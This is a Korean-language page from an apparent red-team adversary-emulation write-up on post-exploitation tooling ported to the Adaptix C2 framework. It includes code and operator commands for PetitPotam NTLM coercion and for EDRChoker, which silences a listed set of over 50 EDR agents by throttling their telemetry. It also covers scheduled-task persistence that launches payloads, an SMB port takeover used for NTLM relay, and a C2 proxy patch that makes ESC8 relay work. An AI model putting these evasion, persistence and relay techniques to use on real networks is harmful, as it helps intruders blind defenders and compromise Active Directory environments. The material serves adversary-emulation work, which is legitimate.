> For the complete documentation index, see [llms.txt](https://www.xn--hy1b43d247a.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xn--hy1b43d247a.com/operation-triple-barrel/7-post-exploitation.md).

# 7. Post-Exploitation

## Post-Exploitation

### 코드

<https://github.com/ChoiSG/Operation-Triple-Barrel/tree/main/operation>

### 개요

보고서에는 내부 정찰, 권한 상승, 횡적 이동에 대한 TTP가 기술되어 있다. SC 원격 서비스 생성, WMI, 레지스트리 기반 지속성 유지 등이 나오는데, 이런 기법들은 그냥 사용하면 EDR에 바로 탐지된다. 보고서에 나온 공격자들은 타겟 환경에 EDR이 없었거나, 이미 무력화한 상태에서 사용했을 것으로 추정된다.

따라서, 후속 공격 도구들은 보고서 내용을 참고하되 현실적인 OPSEC을 고려해서 BOF (Beacon Object File) 형태로 제작하거나, 기존 오픈소스 도구를 Adaptix C2에 맞게 포팅했다.

### BOF 제작 및 포팅

#### 방법론

BOF 포팅은 대부분 비슷한 패턴을 따른다:

1. 기존 도구(Python/C#/EXE)의 핵심 로직을 파악
2. Win32 API 호출을 BOF의 Dynamic Function Resolution(DFR) 형태로 변환
3. Adaptix C2의 `.axs` 스크립트로 명령어 등록
4. 컴파일 후 `.x64.o` 오브젝트 파일로 빌드

Adaptix C2는 Cobalt Strike과 다른 BOF 인터페이스를 사용하지만, 핵심 구조(`go()` 엔트리포인트, `BeaconDataParse`, `BeaconPrintf`)는 비슷하다. AI한테 "이 CS BOF를 Adaptix용으로 포팅해줘"라고 하면 대부분 잘 변환해준다. `.axs` 스크립트도 Adaptix의 예제 몇 개만 레퍼런스로 주면 알아서 만든다.

#### PetitPotam BOF

MS-EFSRPC를 통한 NTLM 강제인증 도구. Outflank의 `@Cneelis`가 만든 CS BOF와 `@topotam77`의 원본을 Adaptix용으로 포팅했다.

```c
// petitpotam.c:328-333 — 네 가지 EFS opnum을 순차 시도
EfsRpcEncryptFileSrv(bHandle, wcFileName);     // opnum 4
EfsRpcDecryptFileSrv(bHandle, wcFileName, 0);  // opnum 5
EfsRpcOpenFileRaw(bHandle, &pContextHandle, wcFileName, lFlag);  // opnum 0
EfsRpcQueryRecoveryAgents(bHandle, wcFileName, &pEncCertHashList); // opnum 7
```

`\\pipe\\lsarpc`를 통해 타겟의 EFS 서비스에 RPC 바인딩을 하고, 네 가지 opnum을 순차적으로 시도한다. 하나라도 `ERROR_BAD_NETPATH`를 리턴하면 강제인증 성공이다. 타겟 DC가 공격자가 지정한 리스너 주소로 NTLM 인증을 시도하게 되고, 이걸 릴레이하면 된다.

```
petitpotam 10.4.10.210 10.4.10.200
```

#### EDRChoker BOF

Two Seven One Three의 EDRChoker를 BOF로 포팅했다.

`MSFT_NetQosPolicySettingData` WMI 오브젝트를 생성해서 EDR 프로세스의 아웃바운드 대역폭을 8 bytes/sec로 제한한다. `pacer.sys`가 커널 NDIS 레이어에서 캡을 걸기 때문에, EDR 에이전트 입장에서는 `send()`가 성공한 것처럼 보이지만 실제로는 패킷이 나가지 않는다. EDR이 텔레메트리를 아무리 보내려 해도 사실상 아무것도 도달하지 않는 상태가 된다.

```c
// entry.c:28-68 — 50개 이상의 EDR 프로세스 목록
static const wchar_t* g_edrProcess[] = {
    // Microsoft Defender
    L"MsMpEng.exe", L"MsSense.exe", L"SenseIR.exe", L"SenseNdr.exe",
    // Elastic EDR
    L"elastic-agent.exe", L"elastic-endpoint.exe",
    // SentinelOne
    L"SentinelAgent.exe", L"SentinelAgentWorker.exe",
    // Cortex XDR
    L"Traps.exe", L"cyserver.exe", L"CyveraService.exe",
    // ... 총 50개 이상
};
```

탐지 우회를 위해 QoS 정책 이름에 세션마다 랜덤 프리픽스를 붙인다. `TelemetryPriority_`, `AppNetPolicy_`, `WindowsQosApp_` 같은 정상적으로 보이는 프리픽스 풀에서 하나를 골라 랜덤 hex를 뒤에 붙이는 방식이다.

```
edrchoker throttleedr              # 실행 중인 EDR 프로세스 자동 탐지 + 전부 스로틀링
edrchoker throttle MsSense.exe     # 특정 프로세스만 스로틀링
edrchoker clearall                 # 이 세션에서 만든 정책만 제거
```

Admin 권한이 필요하다.

#### PersisTask BOF

작업 스케줄 기반 지속성 유지 도구. `@nickzer0`의 PersisTask-BOF를 Adaptix용으로 포팅했다.

`schtasks.exe`를 실행하는 대신 COM 인터페이스(`ITaskService`)를 직접 호출한다. 프로세스를 spawn하지 않으니 프로세스 생성 로그가 남지 않는다. `exec` 서브커맨드는 태스크를 등록하고, 실행하고, 삭제까지 한 번에 처리하기 때문에 비컨의 프로세스 트리에서 분리된 상태로 페이로드를 실행할 수 있다.

```
persistask add MyTask C:\payload.exe /arg1 C:\ -t logon
persistask exec TmpTask C:\payload.exe     # 등록 → 실행 → 삭제 (일회성)
persistask list
persistask remove MyTask
```

#### SMBTakeover BOF

포트 445를 SMB 서비스가 아니라 비컨이 rportfwd 등으로 활용할 수 있게 하는 툴. 비컨 + rportfwd + socks + NTLM Relay 공격을 할 때 많이 사용된다. `@zyn3rgy`의 코드를 기반으로 한다.

SCM API를 통해 `LanmanServer`, `srv2`, `srvnet` 서비스를 제어한다. 이 세 서비스를 멈추면 445/tcp가 해제되고, 비컨의 `rportfwd`로 해당 포트를 바인딩할 수 있게 된다. ESC8 릴레이 공격의 핵심 전제조건이다.

```
smbtakeover check    # LanmanServer/srv2/srvnet 상태 확인
smbtakeover stop     # 서비스 중지 → 445/tcp 해제
smbtakeover start    # 서비스 복구 → 445/tcp 바인딩 복구
```

SYSTEM 또는 High Integrity가 필요하다.

### Adaptix C2 SOCKS Proxy 패치

후속 공격을 하다 보니, Adaptix C2의 SOCKS Proxy에서 문제가 발생했다. ESC8 릴레이 공격 중 `certipy relay`가 "Getting certificate..."에서 영원히 멈추는 현상이었다.

원인은 Adaptix 에이전트의 `Proxyfire::RecvProxy()`가 터널 데이터를 한 번에 64 KiB씩, 최대 16번, 2.5초 동안 반복해서 읽는 구조였다. 한 번의 콜백에 최대 4 MiB의 터널 데이터가 실릴 수 있었는데, CloudFront를 경유하는 콜백 경로에서 8 KiB 근처에서 스톨이 걸렸다. AD CS가 보낸 16,181바이트짜리 인증서 응답이 팀서버까지 도달하지 못한 것이다.

패치는 터널 읽기를 6 KiB(`0x1800`)로 제한하고, 콜백당 하나의 터널 청크만 보내도록 변경한 것이다. 서버 측에서는 원격 EOF를 전파하기 전에 큐에 남은 데이터를 먼저 드레인하도록 수정했다.

```diff
-    LPVOID buffer = MemAllocLocal(0x10000);
+    LPVOID buffer = MemAllocLocal(TUNNEL_READ_CHUNK_SIZE);  // 0x1800
...
-    int max_reads = 16;
-    while (max_reads-- > 0) {
-        int readed = ApiWin->recv(tunnelData->sock, (char*)buffer, 0x10000, 0);
+    int readed = ApiWin->recv(tunnelData->sock, (char*)buffer, TUNNEL_READ_CHUNK_SIZE, 0);
```

오픈소스 C2는 공짜라 좋지만, 이런 부분은 직접 디버깅해서 고쳐야 한다. 상용 C2라면 이런 문제가 훨씬 적겠지만, 그 경우에는 코드를 공개할 수 없으니 트레이드오프다.
